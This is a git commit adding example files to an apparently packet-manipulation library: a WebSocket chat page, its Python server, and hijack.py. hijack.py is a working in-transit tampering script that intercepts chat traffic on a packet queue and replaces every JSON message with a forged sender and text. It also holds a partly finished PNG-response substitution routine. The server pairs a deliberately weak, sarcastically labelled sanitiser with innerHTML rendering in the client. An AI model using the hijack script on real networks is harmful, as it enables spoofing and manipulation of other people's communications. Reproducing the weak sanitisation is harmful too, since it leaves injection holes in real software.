Add example chat app

This commit is contained in:
Darryl Nixon 2023-07-03 00:47:36 -07:00
parent 2de8736d24
commit e6e1c51e83
3 changed files with 182 additions and 0 deletions

65
examples/chat.html Normal file
View file

@ -0,0 +1,65 @@
<!DOCTYPE html>
<html>
<head>
<title>WebSocket Chat</title>
<style>
#chat {
height: 400px;
border: 1px solid #aaaaaa;
overflow: auto;
}
#message {
width: 350px;
}
</style>
</head>
<body>
<div id="chat"></div>
<input id="message" type="text">
<button id="send">Send</button>
<script>
var ws = new WebSocket("ws://10.211.55.3/"),
chat = document.getElementById("chat"),
messageInput = document.getElementById("message"),
sendButton = document.getElementById("send");
ws.onopen = function (event) {
console.log("WebSocket is open now.");
};
ws.onclose = function (event) {
console.log("WebSocket is closed now.");
};
ws.onerror = function (event) {
console.error("WebSocket error observed:", event);
};
ws.onmessage = function (event) {
var payload = JSON.parse(event.data),
p = document.createElement("p");
p.style.wordWrap = "break-word";
p.innerHTML = "<strong>" + payload.sender + "</strong>: " + payload.message;
chat.appendChild(p);
// Automatically scroll to bottom
chat.scrollTop = chat.scrollHeight;
};
sendButton.onclick = function () {
var message = messageInput.value;
if (ws.readyState === WebSocket.OPEN) {
ws.send(message);
messageInput.value = "";
} else {
console.error("WebSocket is not open. Ready state:", ws.readyState);
}
};
</script>
</body>
</html>

70
examples/hijack.py Normal file
View file

@ -0,0 +1,70 @@
from drawbridge import DrawBridge
from scapy.layers.http import HTTPResponse, HTTP
from scapy.all import IP, TCP
from scapy.packet import Raw
import json
def modify_websocket_chat(raw_packet):
pkt = IP(raw_packet)
tcp0 = pkt.getlayer(TCP)
try:
jsonb = bytes(tcp0.payload)[2:]
if jsonb == b'':
return raw_packet
except IndexError:
return raw_packet
try:
json.loads(jsonb.decode("utf-8"))
except (json.decoder.JSONDecodeError, UnicodeDecodeError):
return raw_packet
tcp0.payload = Raw(bytes(tcp0.payload)[:2] + b'{"sender": "hackerboy23", "message": "boom"}')
del pkt[IP].len
del pkt[IP].chksum
del pkt[TCP].chksum
return bytes(pkt)
black_png = (
b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\n\x00\x00'
b'\x00\n\x08\x06\x00\x00\x00\x8d2\xcf\xbd\x00\x00\x00\x0cIDATx'
b'\xda\xed\xc1\x01\r\x00\x00\x00\xc2\xa0\xf5H\xfd\x00\x00\x00'
b'\x00IEND\xaeB`\x82'
)
black_payload = HTTP(bytes(
"HTTP/1.1 200 OK\r\nContent-Type: image/png\r\n\r\n", 'utf-8') + black_png
)
black_len = str(len(black_png)).encode()
def modify_img_request(raw_packet):
pkt = IP(raw_packet)
if pkt.haslayer(HTTPResponse):
http_layer = pkt.getlayer(HTTP)
http_response = pkt.getlayer(HTTPResponse)
if http_response.fields.get('Content_Type') == b'image/png':
print("Found PNG file...")
# http_layer.payload = black_payload
pkt.show2()
if pkt.haslayer(TCP):
http_layer.fields['Content_Length'] = black_len
del pkt[TCP].chksum
del pkt[IP].chksum
del pkt[IP].len
else:
return raw_packet
return bytes(IP(bytes(pkt)))
db = DrawBridge()
db.add_queue(modify_websocket_chat, queue=2, src_port=80)
db.run()

47
examples/server.py Normal file
View file

@ -0,0 +1,47 @@
#!/usr/bin/env python
import asyncio
import websockets
import json
connected = set()
def sanitize(message):
# A very secure sanitization function.
return message.replace('<', '').replace('>', '')
async def handler(websocket):
try:
connected.add(websocket)
print(f"Connected: {websocket.remote_address[0]}")
while True:
try:
message = await websocket.recv()
sanitized_message = sanitize(message)
sanitized_sender = sanitize(websocket.remote_address[0])
payload = json.dumps({
'sender': sanitized_sender,
'message': sanitized_message
})
print(f"{websocket.remote_address[0]} says: {message}")
for conn in connected:
await conn.send(payload)
except Exception:
break
finally:
print(f"Disconnected: {websocket.remote_address[0]}.")
connected.remove(websocket)
async def main():
async with websockets.serve(handler, "", 80, compression=None):
await asyncio.Future()
if __name__ == "__main__":
asyncio.run(main())